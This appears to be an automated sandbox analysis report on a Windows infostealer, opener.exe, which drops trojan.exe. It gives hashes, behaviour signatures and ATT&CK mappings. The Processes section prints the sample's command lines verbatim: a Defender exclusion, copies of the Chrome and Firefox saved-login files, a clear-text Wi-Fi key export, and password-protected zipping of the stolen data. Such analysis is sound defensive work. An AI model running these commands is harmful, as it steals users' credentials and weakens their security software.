Analysis
- max time kernel
148s - max time network
116s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/08/2026, 19:39
Static task
static1
Behavioral task
behavioral1
Sample
opener.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
opener.exe
Resource
win11ltsc2024-20260709-en
General
- Target opener.exe
- Size 399KB
- Sample260807-yc2djsvxgt
- SHA256 92b29ad7ebea1915ab39c6649719afc7fb7ea31a31bdc2728ff741bef2d5096c
- MD5 0b40e469c6051d3b4416c3a82bbadade
- SHA1 75d010465e3605f2045d92b525203f35137348f8
- SHA512 fb92614a425fad720e85e3013abdd4d69b9b19a509ceb7230ac429374779317b03e328dc671062bb78b760c40b0e9a5c115e6709289f435000b1d6545a174c7a
- SSDEEP 6144:ptKbCEfbMyY2VYjKS55/rQWvV3wvdruoY1GROi/GcAe:zKbCAVYjeWvV3wRR1ucAe
- TLSH T118945C117991D032D97708768DFACB799E3DFC810B6169DBA3C40FAE4E206D1BB3061A
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1332 powershell.exe 4836 powershell.exe 1440 powershell.exe 2152 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 932 trojan.exe 3784 trojan.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsCache = "C:\\Users\\Admin\\AppData\\Local\\Temp\\opener.exe" opener.exe Set value (str) \REGISTRY\USER\S-1-5-21-3611646547-550105268-947503007-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsCache = "C:\\Users\\Admin\\AppData\\Local\\Temp\\opener.exe" opener.exe - Contacts third-party web service commonly abused for C2 1 TTPs 5 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 discord.com 4 discord.com 6 discord.com 7 discord.com 8 discord.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5812 cmd.exe 4132 cmd.exe 1336 cmd.exe 2960 cmd.exe 4508 cmd.exe 4944 cmd.exe 464 cmd.exe 4388 cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 18 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language opener.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language trojan.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language opener.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language trojan.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe - Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4836 powershell.exe 4836 powershell.exe 1332 powershell.exe 1332 powershell.exe 2152 powershell.exe 2152 powershell.exe 2152 powershell.exe 1440 powershell.exe 1440 powershell.exe 1440 powershell.exe - Suspicious use of AdjustPrivilegeToken 25 IoCs
description pid Process Token: SeDebugPrivilege 4836 powershell.exe Token: SeDebugPrivilege 1332 powershell.exe Token: SeIncreaseQuotaPrivilege 1332 powershell.exe Token: SeSecurityPrivilege 1332 powershell.exe Token: SeTakeOwnershipPrivilege 1332 powershell.exe Token: SeLoadDriverPrivilege 1332 powershell.exe Token: SeSystemProfilePrivilege 1332 powershell.exe Token: SeSystemtimePrivilege 1332 powershell.exe Token: SeProfSingleProcessPrivilege 1332 powershell.exe Token: SeIncBasePriorityPrivilege 1332 powershell.exe Token: SeCreatePagefilePrivilege 1332 powershell.exe Token: SeBackupPrivilege 1332 powershell.exe Token: SeRestorePrivilege 1332 powershell.exe Token: SeShutdownPrivilege 1332 powershell.exe Token: SeDebugPrivilege 1332 powershell.exe Token: SeSystemEnvironmentPrivilege 1332 powershell.exe Token: SeRemoteShutdownPrivilege 1332 powershell.exe Token: SeUndockPrivilege 1332 powershell.exe Token: SeManageVolumePrivilege 1332 powershell.exe Token: 33 1332 powershell.exe Token: 34 1332 powershell.exe Token: 35 1332 powershell.exe Token: 36 1332 powershell.exe Token: SeDebugPrivilege 2152 powershell.exe Token: SeDebugPrivilege 1440 powershell.exe - Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2520 wrote to memory of 4836 2520 opener.exe 89 PID 2520 wrote to memory of 932 2520 opener.exe 91 PID 1776 wrote to memory of 3784 1776 opener.exe 94 PID 4836 wrote to memory of 1332 4836 powershell.exe 95 PID 932 wrote to memory of 4388 932 trojan.exe 97 PID 932 wrote to memory of 5812 932 trojan.exe 99 PID 932 wrote to memory of 4132 932 trojan.exe 101 PID 4132 wrote to memory of 4448 4132 cmd.exe 103 PID 3784 wrote to memory of 1336 3784 trojan.exe 104 PID 3784 wrote to memory of 2960 3784 trojan.exe 106 PID 3784 wrote to memory of 4508 3784 trojan.exe 108 PID 4508 wrote to memory of 1296 4508 cmd.exe 110 PID 932 wrote to memory of 4944 932 trojan.exe 111 PID 4944 wrote to memory of 2152 4944 cmd.exe 113 PID 3784 wrote to memory of 464 3784 trojan.exe 114 PID 464 wrote to memory of 1440 464 cmd.exe 116
Processes
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C:\Users\Admin\AppData\Local\Temp\opener.exe"C:\Users\Admin\AppData\Local\Temp\opener.exe"1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2520 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches'"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4836 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1332
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:4388
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:5812
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4132 -
C:\Windows\SysWOW64\netsh.exenetsh wlan export profile key=clear folder=C:\Users\Public\4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:4448
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4944 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EkjajhlijevE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EkjajhlijevE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152
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C:\Users\Admin\AppData\Local\Temp\opener.exeC:\Users\Admin\AppData\Local\Temp\opener.exe1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1776 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3784 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\Public\chrome.db >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:1336
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c copy "%APPDATA%\Mozilla\Firefox\Profiles\*.default-release\logins.json" C:\Users\Public\ff.json >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2960
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh wlan export profile key=clear folder=C:\Users\Public\ >nul 2>&13⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4508 -
C:\Windows\SysWOW64\netsh.exenetsh wlan export profile key=clear folder=C:\Users\Public\4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:1296
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:464 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Compress-Archive -Path 'C:\Users\Public\chrome.db','C:\Users\Public\ff.json','C:\Users\Public\Wi-Fi-*.xml' -DestinationPath 'C:\Users\Public\EqetelhwhmsE.zip'; $zip = [System.IO.Compression.ZipFile]::Open('C:\Users\Public\EqetelhwhmsE.zip','Update'); $zip.Entries | ForEach-Object { $_.Password = 'pabloishere' }; $zip.Dispose()"4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1440
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 11KB
- SHA256 7a1be2719f8ad52e9212c75e258c557c1630e171e38a62f187e9c54a31657147
- MD5 8f792059d5efa96642fd6cdde4d17258
- SHA1 8f2f6227b24e3abfb3c40600d21fe596a9b863d5
- SHA512 726979e7332603f2c978853fe3e9161284f262966069e9e7aa15fb79cfbd80f10b73a6c01d5edc54da85985e53b7bc2eb22b8b66449f69509d654feb3edd1f86
- SSDEEP 192:m1ZB1G9GpY14bcn7JryMoGEhuX0+cqLbaoVeeu9RlpRk+8m2jmg+VMIA8Qei4jI8:m1ZB1G9GW14b8FvoG+V+nFevrr2PndIj
- TLSH T1D1328698616FADCBD8E212B4249A42A7FBA4E0CC53751199EF37CE3F1CA0FB65B10414
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 20KB
- SHA256 98a87c462c30a0533743aa89793e751b09cc1239a4fbc65c0c5be5f2ad8b9aa6
- MD5 bffb105458db5c304562da28f1a625aa
- SHA1 b1b9b8747fc910e2ea27ca744e40ded6d61f6a6f
- SHA512 38a266064212bccefa5b3617f53f24ebdf42acb5d06a2a0e09cccc4df7404b0f2ed96ff81b16e2bd2dd62086aa5da4ddb4a391c4aa20471945dd10df9c395039
- SSDEEP 384:/1FBaGO1iBUskTha08k/+g1ksrr2PsOEkMzdC0AIACOwlNlRFc1WxbhNIfGDlRvC:dFn66UskThaK/+KkM6UNZC0AIAXD1cb+
- TLSH T104A2C62D217F6DC7D89222B400C203A7FBE4D449EA725194FE5BCE2B5C45EB64EA16F0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uko5yewq.who.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Caches\trojan.exe
- Size 211KB
- SHA256 9456396673db793efe2651e4fd9d9307a93941db5d22ccaa1a1574318cf92258
- MD5 922b11ee7cba2d65e3af903c9b3c8d34
- SHA1 6822c3c519dd24980a5eaa67f72606b8e66ba375
- SHA512 7bbcd97159804e66636eb0b18f87e47ce965385a9275f372b761535a0756e24822a9d047c91b496c7ffcd5abe4c6793f3fa490cd77ccf1a55861889774ac307c
- SSDEEP 3072:VJFrZrw0XcRQS2Rvig39qvdr1nErsPQW8GSAJHl3YPQHh9SbUXkqPACv9D/gdcA:n/rQWvV3wvdruoY1GROi/GcA
- TLSH T182247E117991D032E97708768DFA9B7D8E3DF8410F6569D7A3C40EEE8E206D1BB3160A
- MD5 SHA1 SHA512 SSDEEP TLSH